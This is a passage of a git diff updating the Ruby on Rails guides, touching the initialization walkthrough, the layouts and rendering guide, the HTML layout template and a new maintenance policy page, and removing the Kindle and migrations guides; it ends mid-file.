+This file requires `config/boot.rb`:
+
+```ruby
+require File.expand_path('../boot', __FILE__)
+```
+
+But only if it hasn't been required before, which would be the case in `rails server`
+but **wouldn't** be the case with Passenger.
Then the fun begins!
@@ -532,11 +527,12 @@ This file is responsible for requiring all the individual frameworks of Rails:
require "rails"
%w(
- active_record
- action_controller
- action_mailer
- rails/test_unit
- sprockets
+ active_record
+ action_controller
+ action_view
+ action_mailer
+ rails/test_unit
+ sprockets
).each do |framework|
begin
require "#{framework}/railtie"
@@ -551,15 +547,17 @@ inside each of those frameworks, but you're encouraged to try and
explore them on your own.
For now, just keep in mind that common functionality like Rails engines,
-I18n and Rails configuration is all being defined here.
+I18n and Rails configuration are all being defined here.
### Back to `config/environment.rb`
-When `config/application.rb` has finished loading Rails, and defined
-your application namespace, you go back to `config/environment.rb`,
-where your application is initialized. For example, if you application was called
-`Blog`, here you would find `Blog::Application.initialize!`, which is
-defined in `rails/application.rb`
+The rest of `config/application.rb` defines the configuration for the
+`Rails::Application` which will be used once the application is fully
+initialized. When `config/application.rb` has finished loading Rails and defined
+the application namespace, we go back to `config/environment.rb`,
+where the application is initialized. For example, if the application was called
+`Blog`, here we would find `Rails.application.initialize!`, which is
+defined in `rails/application.rb`.
### `railties/lib/rails/application.rb`
@@ -574,16 +572,33 @@ def initialize!(group=:default) #:nodoc:
end
```
-As you can see, you can only initialize an app once. This is also where the initializers are run.
+As you can see, you can only initialize an app once. The initializers are run through
+the `run_initializers` method which is defined in `railties/lib/rails/initializable.rb`:
-TODO: review this
+```ruby
+def run_initializers(group=:default, *args)
+ return if instance_variable_defined?(:@ran)
+ initializers.tsort_each do |initializer|
+ initializer.run(*args) if initializer.belongs_to?(group)
+ end
+ @ran = true
+end
+```
+
+The `run_initializers` code itself is tricky. What Rails is doing here is
+traversing all the class ancestors looking for those that respond to an
+`initializers` method. It then sorts the ancestors by name, and runs them.
+For example, the `Engine` class will make all the engines available by
+providing an `initializers` method on them.
-The initializers code itself is tricky. What Rails is doing here is it
-traverses all the class ancestors looking for an `initializers` method,
-sorting them and running them. For example, the `Engine` class will make
-all the engines available by providing the `initializers` method.
+The `Rails::Application` class, as defined in `railties/lib/rails/application.rb`
+defines `bootstrap`, `railtie`, and `finisher` initializers. The `bootstrap` initializers
+prepare the application (like initializing the logger) while the `finisher`
+initializers (like building the middleware stack) are run last. The `railtie`
+initializers are the initializers which have been defined on the `Rails::Application`
+itself and are run between the `bootstrap` and `finishers`.
-After this is done we go back to `Rack::Server`
+After this is done we go back to `Rack::Server`.
### Rack: lib/rack/server.rb
@@ -591,7 +606,11 @@ Last time we left when the `app` method was being defined:
```ruby
def app
- @app ||= begin
+ @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
+end
+...
+private
+ def build_app_and_options_from_config
if !::File.exist? options[:config]
abort "configuration #{options[:config]} not found"
end
@@ -600,7 +619,10 @@ def app
self.options.merge! options
app
end
-end
+
+ def build_app_from_string
+ Rack::Builder.new_from_string(self.options[:builder])
+ end
```
At this point `app` is the Rails app itself (a middleware), and what
@@ -618,7 +640,7 @@ def build_app(app)
end
```
-Remember, `build_app` was called (by wrapped_app) in the last line of `Server#start`.
+Remember, `build_app` was called (by `wrapped_app`) in the last line of `Server#start`.
Here's how it looked like when we left:
```ruby
@@ -626,40 +648,50 @@ server.run wrapped_app, options, &blk
```
At this point, the implementation of `server.run` will depend on the
-server you're using. For example, if you were using Mongrel, here's what
+server you're using. For example, if you were using Puma, here's what
the `run` method would look like:
```ruby
-def self.run(app, options={})
- server = ::Mongrel::HttpServer.new(
- options[:Host] || '0.0.0.0',
- options[:Port] || 8080,
- options[:num_processors] || 950,
- options[:throttle] || 0,
- options[:timeout] || 60)
- # Acts like Rack::URLMap, utilizing Mongrel's own path finding methods.
- # Use is similar to #run, replacing the app argument with a hash of
- # { path=>app, ... } or an instance of Rack::URLMap.
- if options[:map]
- if app.is_a? Hash
- app.each do |path, appl|
- path = '/'+path unless path[0] == ?/
- server.register(path, Rack::Handler::Mongrel.new(appl))
- end
- elsif app.is_a? URLMap
- app.instance_variable_get(:@mapping).each do |(host, path, appl)|
- next if !host.nil? && !options[:Host].nil? && options[:Host] != host
- path = '/'+path unless path[0] == ?/
- server.register(path, Rack::Handler::Mongrel.new(appl))
- end
- else
- raise ArgumentError, "first argument should be a Hash or URLMap"
- end
- else
- server.register('/', Rack::Handler::Mongrel.new(app))
+...
+DEFAULT_OPTIONS = {
+ :Host => '0.0.0.0',
+ :Port => 8080,
+ :Threads => '0:16',
+ :Verbose => false
+}
+
+def self.run(app, options = {})
+ options = DEFAULT_OPTIONS.merge(options)
+
+ if options[:Verbose]
+ app = Rack::CommonLogger.new(app, STDOUT)
+ end
+
+ if options[:environment]
+ ENV['RACK_ENV'] = options[:environment].to_s
end
- yield server if block_given?
- server.run.join
+
+ server = ::Puma::Server.new(app)
+ min, max = options[:Threads].split(':', 2)
+
+ puts "Puma #{::Puma::Const::PUMA_VERSION} starting..."
+ puts "* Min threads: #{min}, max threads: #{max}"
+ puts "* Environment: #{ENV['RACK_ENV']}"
+ puts "* Listening on tcp://#{options[:Host]}:#{options[:Port]}"
+
+ server.add_tcp_listener options[:Host], options[:Port]
+ server.min_threads = min
+ server.max_threads = max
+ yield server if block_given?
+
+ begin
+ server.run.join
+ rescue Interrupt
+ puts "* Gracefully stopping, waiting for requests to finish"
+ server.stop(true)
+ puts "* Goodbye!"
+ end
+
end
```
diff --git a/guides/source/kindle/KINDLE.md b/guides/source/kindle/KINDLE.md
deleted file mode 100644
index 08937e053e..0000000000
--- a/guides/source/kindle/KINDLE.md
+++ /dev/null
@@ -1,26 +0,0 @@
-# Rails Guides on the Kindle
-
-
-## Synopsis
-
- 1. Obtain `kindlegen` from the link below and put the binary in your path
- 2. Run `KINDLE=1 rake generate_guides` to generate the guides and compile the `.mobi` file
- 3. Copy `output/kindle/rails_guides.mobi` to your Kindle
-
-## Resources
-
- * [Stack Overflow: Kindle Periodical Format](http://stackoverflow.com/questions/5379565/kindle-periodical-format)
- * Example Periodical [.ncx](https://gist.github.com/808c971ed087b839d462) and [.opf](https://gist.github.com/d6349aa8488eca2ee6d0)
- * [Kindle Publishing Guidelines](http://kindlegen.s3.amazonaws.com/AmazonKindlePublishingGuidelines.pdf)
- * [KindleGen & Kindle Previewer](http://www.amazon.com/gp/feature.html?ie=UTF8&docId=1000234621)
-
-## TODO
-
-### Post release
-
- * Integrate generated Kindle document into published HTML guides
- * Tweak heading styles (most docs use h3/h4/h5, which end up being smaller than the text under it)
- * Tweak table styles (smaller text? Many of the tables are unusable on a Kindle in portrait mode)
- * Have the HTML/XML TOC 'drill down' into the TOCs of the individual guides
- * `.epub` generation.
-
diff --git a/guides/source/kindle/toc.html.erb b/guides/source/kindle/toc.html.erb
index e013797dee..f310edd3a1 100644
--- a/guides/source/kindle/toc.html.erb
+++ b/guides/source/kindle/toc.html.erb
@@ -20,5 +20,5 @@ Ruby on Rails Guides
<ul>
<li><a href="credits.html">Credits</a></li>
<li><a href="copyright.html">Copyright &amp; License</a></li>
-<ul>
+</ul>
</div>
diff --git a/guides/source/layout.html.erb b/guides/source/layout.html.erb
index 397dd62638..1005057ca9 100644
--- a/guides/source/layout.html.erb
+++ b/guides/source/layout.html.erb
@@ -1,10 +1,9 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
- "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
-<meta name="viewport" content="width=device-width, initial-scale=1">
+<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
@@ -36,7 +35,6 @@
<li class="more-info"><a href="https://github.com/rails/rails">Code</a></li>
<li class="more-info"><a href="http://rubyonrails.org/screencasts">Screencasts</a></li>
<li class="more-info"><a href="http://rubyonrails.org/documentation">Documentation</a></li>
- <li class="more-info"><a href="http://rubyonrails.org/ecosystem">Ecosystem</a></li>
<li class="more-info"><a href="http://rubyonrails.org/community">Community</a></li>
<li class="more-info"><a href="http://weblog.rubyonrails.org/">Blog</a></li>
</ul>
@@ -48,7 +46,7 @@
<ul class="nav">
<li><a class="nav-item" href="index.html">Home</a></li>
<li class="guides-index guides-index-large">
- <a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu" class="guides-index-item nav-item">Guides Index</a>
+ <a href="index.html" id="guidesMenu" class="guides-index-item nav-item">Guides Index</a>
<div id="guides" class="clearfix" style="display: none;">
<hr />
<% ['L', 'R'].each do |position| %>
@@ -78,7 +76,6 @@
</select>
</li>
</ul>
- </div>
</div>
</div>
<hr class="hide" />
@@ -101,17 +98,15 @@
You're encouraged to help improve the quality of this guide.
</p>
<p>
- If you see any typos or factual errors you are confident to
- patch, please clone <%= link_to 'docrails', 'https://github.com/lifo/docrails' %>
- and push the change yourself. That branch of Rails has public write access.
- Commits are still reviewed, but that happens after you've submitted your
- contribution. <%= link_to 'docrails', 'https://github.com/lifo/docrails' %> is
- cross-merged with master periodically.
+ Please contribute if you see any typos or factual errors.
+ To get started, you can read our <%= link_to 'documentation contributions', 'http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation' %> section.
</p>
<p>
You may also find incomplete content, or stuff that is not up to date.
- Please do add any missing documentation for master. Check the
- <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %>
+ Please do add any missing documentation for master. Make sure to check
+ <%= link_to 'Edge Guides','http://edgeguides.rubyonrails.org' %> first to verify
+ if the issues are already fixed or not on the master branch.
+ Check the <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %>
for style and conventions.
</p>
<p>
@@ -141,7 +136,7 @@
<script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
<script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
<script type="text/javascript">
- SyntaxHighlighter.all()
+ SyntaxHighlighter.all();
$(guidesIndex.bind);
</script>
</body>
diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md
index dbaa3ec576..ae16ad86cd 100644
--- a/guides/source/layouts_and_rendering.md
+++ b/guides/source/layouts_and_rendering.md
@@ -1,7 +1,7 @@
Layouts and Rendering in Rails
==============================
-This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:
+This guide covers the basic layout features of Action Controller and Action View.
After reading this guide, you will know:
@@ -88,7 +88,7 @@ If we want to display the properties of all the books in our view, we can do so
<% end %>
</table>
-<br />
+<br>
<%= link_to "New book", new_book_path %>
```
@@ -97,7 +97,7 @@ NOTE: The actual rendering is done by subclasses of `ActionView::TemplateHandler
### Using `render`
-In most cases, the `ActionController::Base#render` method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behaviour of `render`. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
+In most cases, the `ActionController::Base#render` method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of `render`. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
TIP: If you want to see the exact results of a call to `render` without needing to inspect it in a browser, you can call `render_to_string`. This method takes exactly the same options as `render`, but it returns a string instead of sending a response back to the browser.
@@ -122,8 +122,7 @@ X-Runtime: 0.014297
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache
-
- $
+$
```
We see there is an empty response (no data after the `Cache-Control` line), but the request was successful because Rails has set the response to 200 OK. You can set the `:status` option on render to change this response. Rendering nothing can be useful for Ajax requests where all you want to send back to the browser is an acknowledgment that the request was completed.
@@ -137,7 +136,7 @@ If you want to render the view that corresponds to a different template within t
```ruby
def update
@book = Book.find(params[:id])
- if @book.update_attributes(params[:book])
+ if @book.update(book_params)
redirect_to(@book)
else
render "edit"
@@ -145,14 +144,14 @@ def update
end
```
-If the call to `update_attributes` fails, calling the `update` action in this controller will render the `edit.html.erb` template belonging to the same controller.
+If the call to `update` fails, calling the `update` action in this controller will render the `edit.html.erb` template belonging to the same controller.
If you prefer, you can use a symbol instead of a string to specify the action to render:
```ruby
def update
@book = Book.find(params[:id])
- if @book.update_attributes(params[:book])
+ if @book.update(book_params)
redirect_to(@book)
else
render :edit
@@ -190,7 +189,7 @@ render file: "/u/apps/warehouse_app/current/app/views/products/show"
The `:file` option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.
-NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the `layout: true` option.
+NOTE: By default, the file is rendered using the current layout.
TIP: If you're running Rails on Microsoft Windows, you should use the `:file` option to render a file, because Windows filenames do not have the same format as Unix filenames.
@@ -237,15 +236,35 @@ render inline: "xml.p {'Horrid coding practice!'}", type: :builder
#### Rendering Text
-You can send plain text - with no markup at all - back to the browser by using the `:text` option to `render`:
+You can send plain text - with no markup at all - back to the browser by using
+the `:plain` option to `render`:
+
+```ruby
+render plain: "OK"
+```
+
+TIP: Rendering pure text is most useful when you're responding to Ajax or web
+service requests that are expecting something other than proper HTML.
+
+NOTE: By default, if you use the `:plain` option, the text is rendered without
+using the current layout. If you want Rails to put the text into the current
+layout, you need to add the `layout: true` option and use the `.txt.erb`
+extension for the layout file.
+
+#### Rendering HTML
+
+You can send a HTML string back to the browser by using the `:html` option to
+`render`:
```ruby
-render text: "OK"
+render html: "<strong>Not Found</strong>".html_safe
```
-TIP: Rendering pure text is most useful when you're responding to Ajax or web service requests that are expecting something other than proper HTML.
+TIP: This is useful when you're rendering a small snippet of HTML code.
+However, you might want to consider moving it to a template file if the markup
+is complex.
-NOTE: By default, if you use the `:text` option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the `layout: true` option.
+NOTE: This option will escape HTML entities if the string is not HTML safe.
#### Rendering JSON
@@ -277,14 +296,30 @@ render js: "alert('Hello Rails');"
This will send the supplied string to the browser with a MIME type of `text/javascript`.
+#### Rendering raw body
+
+You can send a raw content back to the browser, without setting any content
+type, by using the `:body` option to `render`:
+
+```ruby
+render body: "raw"
+```
+
+TIP: This option should be used only if you don't care about the content type of
+the response. Using `:plain` or `:html` might be more appropriate in most of the
+time.
+
+NOTE: Unless overridden, your response returned from this render option will be
+`text/html`, as that is the default content type of Action Dispatch response.
+
#### Options for `render`
Calls to the `render` method generally accept four options:
* `:content_type`
* `:layout`
-* `:status`
* `:location`
+* `:status`
##### The `:content_type` Option
@@ -310,25 +345,86 @@ You can also tell Rails to render with no layout at all:
render layout: false
```
-##### The `:status` Option
+##### The `:location` Option
-Rails will automatically generate a response with the correct HTTP status code (in most cases, this is `200 OK`). You can use the `:status` option to change this:
+You can use the `:location` option to set the HTTP `Location` header:
```ruby
-render status: 500
-render status: :forbidden
+render xml: photo, location: photo_url(photo)
```
-Rails understands both numeric and symbolic status codes.
-
-##### The `:location` Option
+##### The `:status` Option
-You can use the `:location` option to set the HTTP `Location` header:
+Rails will automatically generate a response with the correct HTTP status code (in most cases, this is `200 OK`). You can use the `:status` option to change this:
```ruby
-render xml: photo, location: photo_url(photo)
+render status: 500
+render status: :forbidden
```
+Rails understands both numeric status codes and the corresponding symbols shown below.
+
+| Response Class | HTTP Status Code | Symbol |
+| ------------------- | ---------------- | -------------------------------- |
+| **Informational** | 100 | :continue |
+| | 101 | :switching_protocols |
+| | 102 | :processing |
+| **Success** | 200 | :ok |
+| | 201 | :created |
+| | 202 | :accepted |
+| | 203 | :non_authoritative_information |
+| | 204 | :no_content |
+| | 205 | :reset_content |
+| | 206 | :partial_content |
+| | 207 | :multi_status |
+| | 208 | :already_reported |
+| | 226 | :im_used |
+| **Redirection** | 300 | :multiple_choices |
+| | 301 | :moved_permanently |
+| | 302 | :found |
+| | 303 | :see_other |
+| | 304 | :not_modified |
+| | 305 | :use_proxy |
+| | 306 | :reserved |
+| | 307 | :temporary_redirect |
+| | 308 | :permanent_redirect |
+| **Client Error** | 400 | :bad_request |
+| | 401 | :unauthorized |
+| | 402 | :payment_required |
+| | 403 | :forbidden |
+| | 404 | :not_found |
+| | 405 | :method_not_allowed |
+| | 406 | :not_acceptable |
+| | 407 | :proxy_authentication_required |
+| | 408 | :request_timeout |
+| | 409 | :conflict |
+| | 410 | :gone |
+| | 411 | :length_required |
+| | 412 | :precondition_failed |
+| | 413 | :request_entity_too_large |
+| | 414 | :request_uri_too_long |
+| | 415 | :unsupported_media_type |
+| | 416 | :requested_range_not_satisfiable |
+| | 417 | :expectation_failed |
+| | 422 | :unprocessable_entity |
+| | 423 | :locked |
+| | 424 | :failed_dependency |
+| | 426 | :upgrade_required |
+| | 428 | :precondition_required |
+| | 429 | :too_many_requests |
+| | 431 | :request_header_fields_too_large |
+| **Server Error** | 500 | :internal_server_error |
+| | 501 | :not_implemented |
+| | 502 | :bad_gateway |
+| | 503 | :service_unavailable |
+| | 504 | :gateway_timeout |
+| | 505 | :http_version_not_supported |
+| | 506 | :variant_also_negotiates |
+| | 507 | :insufficient_storage |
+| | 508 | :loop_detected |
+| | 510 | :not_extended |
+| | 511 | :network_authentication_required |
+
#### Finding Layouts
To find the current layout, Rails first looks for a file in `app/views/layouts` with the same base name as the controller. For example, rendering actions from the `PhotosController` class will use `app/views/layouts/photos.html.erb` (or `app/views/layouts/photos.builder`). If there is no such controller-specific layout, Rails will use `app/views/layouts/application.html.erb` or `app/views/layouts/application.builder`. If there is no `.erb` layout, Rails will use a `.builder` layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
@@ -344,7 +440,7 @@ class ProductsController < ApplicationController
end
```
-With this declaration, all of the views rendered by the products controller will use `app/views/layouts/inventory.html.erb` as their layout.
+With this declaration, all of the views rendered by the `ProductsController` will use `app/views/layouts/inventory.html.erb` as their layout.
To assign a specific layout for the entire application, use a `layout` declaration in your `ApplicationController` class:
@@ -363,7 +459,7 @@ You can use a symbol to defer the choice of layout until a request is processed:
```ruby
class ProductsController < ApplicationController
- layout "products_layout"
+ layout :products_layout
def show
@product = Product.find(params[:id])
@@ -411,33 +507,33 @@ Layout declarations cascade downward in the hierarchy, and more specific layout
end
```
-* `posts_controller.rb`
+* `articles_controller.rb`
```ruby
- class PostsController < ApplicationController
+ class ArticlesController < ApplicationController
end
```
-* `special_posts_controller.rb`
+* `special_articles_controller.rb`
```ruby
- class SpecialPostsController < PostsController
+ class SpecialArticlesController < ArticlesController
layout "special"
end
```
-* `old_posts_controller.rb`
+* `old_articles_controller.rb`
```ruby
- class OldPostsController < SpecialPostsController
+ class OldArticlesController < SpecialArticlesController
layout false
def show
- @post = Post.find(params[:id])
+ @article = Article.find(params[:id])
end
def index
- @old_posts = Post.older
+ @old_articles = Article.older
render layout: "old"
end
# ...
@@ -447,10 +543,10 @@ Layout declarations cascade downward in the hierarchy, and more specific layout
In this application:
* In general, views will be rendered in the `main` layout
-* `PostsController#index` will use the `main` layout
-* `SpecialPostsController#index` will use the `special` layout
-* `OldPostsController#show` will use no layout at all
-* `OldPostsController#index` will use the `old` layout
+* `ArticlesController#index` will use the `main` layout
+* `SpecialArticlesController#index` will use the `special` layout
+* `OldArticlesController#show` will use no layout at all
+* `OldArticlesController#index` will use the `old` layout
#### Avoiding Double Render Errors
@@ -531,7 +627,7 @@ def index
end
def show
- @book = Book.find_by_id(params[:id])
+ @book = Book.find_by(id: params[:id])
if @book.nil?
render action: "index"
end
@@ -546,7 +642,7 @@ def index
end
def show
- @book = Book.find_by_id(params[:id])
+ @book = Book.find_by(id: params[:id])
if @book.nil?
redirect_to action: :index
end
@@ -565,10 +661,11 @@ def index
end
def show
- @book = Book.find_by_id(params[:id])
+ @book = Book.find_by(id: params[:id])
if @book.nil?
@books = Book.all
- render "index", alert: "Your book was not found!"
+ flash.now[:alert] = "Your book was not found"
+ render "index"
end
end
```
@@ -577,7 +674,7 @@ This would detect that there are no books with the specified ID, populate the `@
### Using `head` To Build Header-Only Responses
-The `head` method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling `render :nothing`. The `head` method takes one parameter, which is interpreted as a hash of header names and values. For example, you can return only an error header:
+The `head` method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling `render :nothing`. The `head` method accepts a number or symbol (see [reference table](#the-status-option)) representing a HTTP status code. The options argument is interpreted as a hash of header names and values. For example, you can return only an error header:
```ruby
head :bad_request
@@ -642,7 +739,7 @@ WARNING: The asset tag helpers do _not_ verify the existence of the assets at th
#### Linking to Feeds with the `auto_discovery_link_tag`
-The `auto_discovery_link_tag` helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag:
+The `auto_discovery_link_tag` helper builds HTML that most browsers and feed readers can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag:
```erb
<%= auto_discovery_link_tag(:rss, {action: "feed"},
@@ -653,7 +750,7 @@ There are three tag options available for the `auto_discovery_link_tag`:
* `:rel` specifies the `rel` value in the link. The default value is "alternate".
* `:type` specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically.
-* `:title` specifies the title of the link. The default value is the uppercased `:type` value, for example, "ATOM" or "RSS".
+* `:title` specifies the title of the link. The default value is the uppercase `:type` value, for example, "ATOM" or "RSS".
#### Linking to JavaScript Files with the `javascript_include_tag`
@@ -695,72 +792,6 @@ To include `http://example.com/main.js`:
<%= javascript_include_tag "http://example.com/main.js" %>
```
-If the application does not use the asset pipeline, the `:defaults` option loads jQuery by default:
-
-```erb
-<%= javascript_include_tag :defaults %>
-```
-
-Outputting `script` tags such as this:
-
-```html
-<script src="/javascripts/jquery.js"></script>
-<script src="/javascripts/jquery_ujs.js"></script>
-```
-
-These two files for jQuery, `jquery.js` and `jquery_ujs.js` must be placed inside `public/javascripts` if the application doesn't use the asset pipeline. These files can be downloaded from the [jquery-rails repository on GitHub](https://github.com/indirect/jquery-rails/tree/master/vendor/assets/javascripts)
-
-WARNING: If you are using the asset pipeline, this tag will render a `script` tag for an asset called `defaults.js`, which would not exist in your application unless you've explicitly created it.
-
-And you can in any case override the `:defaults` expansion in `config/application.rb`:
-
-```ruby
-config.action_view.javascript_expansions[:defaults] = %w(foo.js bar.js)
-```
-
-You can also define new defaults:
-
-```ruby
-config.action_view.javascript_expansions[:projects] = %w(projects.js tickets.js)
-```
-
-And use them by referencing them exactly like `:defaults`:
-
-```erb
-<%= javascript_include_tag :projects %>
-```
-
-When using `:defaults`, if an `application.js` file exists in `public/javascripts` it will be included as well at the end.
-
-Also, if the asset pipeline is disabled, the `:all` expansion loads every JavaScript file in `public/javascripts`:
-
-```erb
-<%= javascript_include_tag :all %>
-```
-
-Note that your defaults of choice will be included first, so they will be available to all subsequently included files.
-
-You can supply the `:recursive` option to load files in subfolders of `public/javascripts` as well:
-
-```erb
-<%= javascript_include_tag :all, recursive: true %>
-```
-
-If you're loading multiple JavaScript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify `cache: true` in your `javascript_include_tag`:
-
-```erb
-<%= javascript_include_tag "main", "columns", cache: true %>
-```
-
-By default, the combined file will be delivered as `javascripts/all.js`. You can specify a location for the cached asset file instead:
-
-```erb
-<%= javascript_include_tag "main", "columns",
- cache: "cache/main/display" %>
-```
-
-You can even use dynamic paths such as `cache/#{current_site}/main/display`.
-
#### Linking to CSS Files with the `stylesheet_link_tag`
The `stylesheet_link_tag` helper returns an HTML `<link>` tag for each source provided.
@@ -782,7 +813,7 @@ To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/columns
To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/photos/columns.css`:
```erb
-<%= stylesheet_link_tag "main", "/photos/columns" %>
+<%= stylesheet_link_tag "main", "photos/columns" %>
```
To include `http://example.com/main.css`:
@@ -797,33 +828,6 @@ By default, the `stylesheet_link_tag` creates links with `media="screen" rel="st
<%= stylesheet_link_tag "main_print", media: "print" %>
```
-If the asset pipeline is disabled, the `all` option links every CSS file in `public/stylesheets`:
-
-```erb
-<%= stylesheet_link_tag :all %>
-```
-
-You can supply the `:recursive` option to link files in subfolders of `public/stylesheets` as well:
-
-```erb
-<%= stylesheet_link_tag :all, recursive: true %>
-```
-
-If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify `cache: true` in your `stylesheet_link_tag`:
-
-```erb
-<%= stylesheet_link_tag "main", "columns", cache: true %>
-```
-
-By default, the combined file will be delivered as `stylesheets/all.css`. You can specify a location for the cached asset file instead:
-
-```erb
-<%= stylesheet_link_tag "main", "columns",
- cache: "cache/main/display" %>
-```
-
-You can even use dynamic paths such as `cache/#{current_site}/main/display`.
-
#### Linking to Images with the `image_tag`
The `image_tag` helper builds an HTML `<img />` tag to the specified file. By default, files are loaded from `public/images`.
@@ -900,7 +904,7 @@ You can also specify multiple videos to play by passing an array of videos to th
This will produce:
```erb
-<video><source src="trailer.ogg" /><source src="movie.ogg" /></video>
+<video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
```
#### Linking to Audio Files with the `audio_tag`
@@ -1040,7 +1044,6 @@ You can also pass local variables into partials, making them even more powerful
```html+erb
<h1>New zone</h1>
- <%= error_messages_for :zone %>
<%= render partial: "form", locals: {zone: @zone} %>
```
@@ -1048,7 +1051,6 @@ You can also pass local variables into partials, making them even more powerful
```html+erb
<h1>Editing zone</h1>
- <%= error_messages_for :zone %>
<%= render partial: "form", locals: {zone: @zone} %>
```
@@ -1057,7 +1059,7 @@ You can also pass local variables into partials, making them even more powerful
```html+erb
<%= form_for(zone) do |f| %>
<p>
- <b>Zone name</b><br />
+ <b>Zone name</b><br>
<%= f.text_field :name %>
</p>
<p>
@@ -1153,11 +1155,11 @@ With this change, you can access an instance of the `@products` collection as th
You can also pass in arbitrary local variables to any partial you are rendering with the `locals: {}` option:
```erb
-<%= render partial: "products", collection: @products,
+<%= render partial: "product", collection: @products,
as: :item, locals: {title: "Products Page"} %>
```
-Would render a partial `_products.html.erb` once for each instance of `product` in the `@products` instance variable passing the instance to the partial as a local variable called `item` and to each partial, make the local variable `title` available with the value `Products Page`.
+In this case, the partial will have access to a local variable `title` with the value "Products Page".
TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by `_counter`. For example, if you're rendering `@products`, within the partial you can refer to `product_counter` to tell you how many times the partial has been rendered. This does not work in conjunction with the `as: :value` option.
diff --git a/guides/source/maintenance_policy.md b/guides/source/maintenance_policy.md
new file mode 100644
index 0000000000..050a64ddf3
--- /dev/null
+++ b/guides/source/maintenance_policy.md
@@ -0,0 +1,78 @@
+Maintenance Policy for Ruby on Rails
+====================================
+
+Support of the Rails framework is divided into four groups: New features, bug
+fixes, security issues, and severe security issues. They are handled as
+follows, all versions in `X.Y.Z` format.
+
+--------------------------------------------------------------------------------
+
+Rails follows a shifted version of [semver](http://semver.org/):
+
+**Patch `Z`**
+
+Only bug fixes, no API changes, no new features.
+Except as necessary for security fixes.
+
+**Minor `Y`**
+
+New features, may contain API changes (Serve as major versions of Semver).
+Breaking changes are paired with deprecation notices in the previous minor
+or major release.
+
+**Major `X`**
+
+New features, will likely contain API changes. The difference between Rails'
+minor and major releases is the magnitude of breaking changes, and usually
+reserved for special occasions.
+
+New Features
+------------
+
+New features are only added to the master branch and will not be made available
+in point releases.
+
+Bug Fixes
+---------
+
+Only the latest release series will receive bug fixes. When enough bugs are
+fixed and its deemed worthy to release a new gem, this is the branch it happens
+from.
+
+In special situations, where someone from the Core Team agrees to support more series,
+they are included in the list of supported series.
+
+**Currently included series:** `4.2.Z`, `4.1.Z` (Supported by Rafael França).
+
+Security Issues
+---------------
+
+The current release series and the next most recent one will receive patches
+and new versions in case of a security issue.
+
+These releases are created by taking the last released version, applying the
+security patches, and releasing. Those patches are then applied to the end of
+the x-y-stable branch. For example, a theoretical 1.2.3 security release would
+be built from 1.2.2, and then added to the end of 1-2-stable. This means that
+security releases are easy to upgrade to if you're running the latest version
+of Rails.
+
+**Currently included series:** `4.2.Z`, `4.1.Z`.
+
+Severe Security Issues
+----------------------
+
+For severe security issues we will provide new versions as above, and also the
+last major release series will receive patches and new versions. The
+classification of the security issue is judged by the core team.
+
+**Currently included series:** `4.2.Z`, `4.1.Z`, `3.2.Z`.
+
+Unsupported Release Series
+--------------------------
+
+When a release series is no longer supported, it's your own responsibility to
+deal with bugs and security issues. We may provide backports of the fixes and
+publish them to git, however there will be no new versions released. If you are
+not comfortable maintaining your own versions, you should upgrade to a
+supported version.
diff --git a/guides/source/migrations.md b/guides/source/migrations.md
deleted file mode 100644
index 9840e7694f..0000000000
--- a/guides/source/migrations.md
+++ /dev/null
@@ -1,875 +0,0 @@
-Active Record Migrations
-========================
-
-Migrations are a feature of Active Record that allows you to evolve your
-database schema over time. Rather than write schema modifications in pure SQL,
-migrations allow you to use an easy Ruby DSL to describe changes to your
-tables.
-
-After reading this guide, you will know:
-
-* The generators you can use to create them.
-* The methods Active Record provides to manipulate your database.
-* The Rake tasks that manipulate migrations and your schema.
-* How migrations relate to `schema.rb`.
-
---------------------------------------------------------------------------------
-
-Migration Overview
-------------------
-
-Migrations are a convenient way to alter your database schema over time in a
-consistent and easy way. They use a Ruby DSL so that you don't have to write
-SQL by hand, allowing your schema and changes to be database independent.
-
-You can think of each migration as being a new 'version' of the database. A
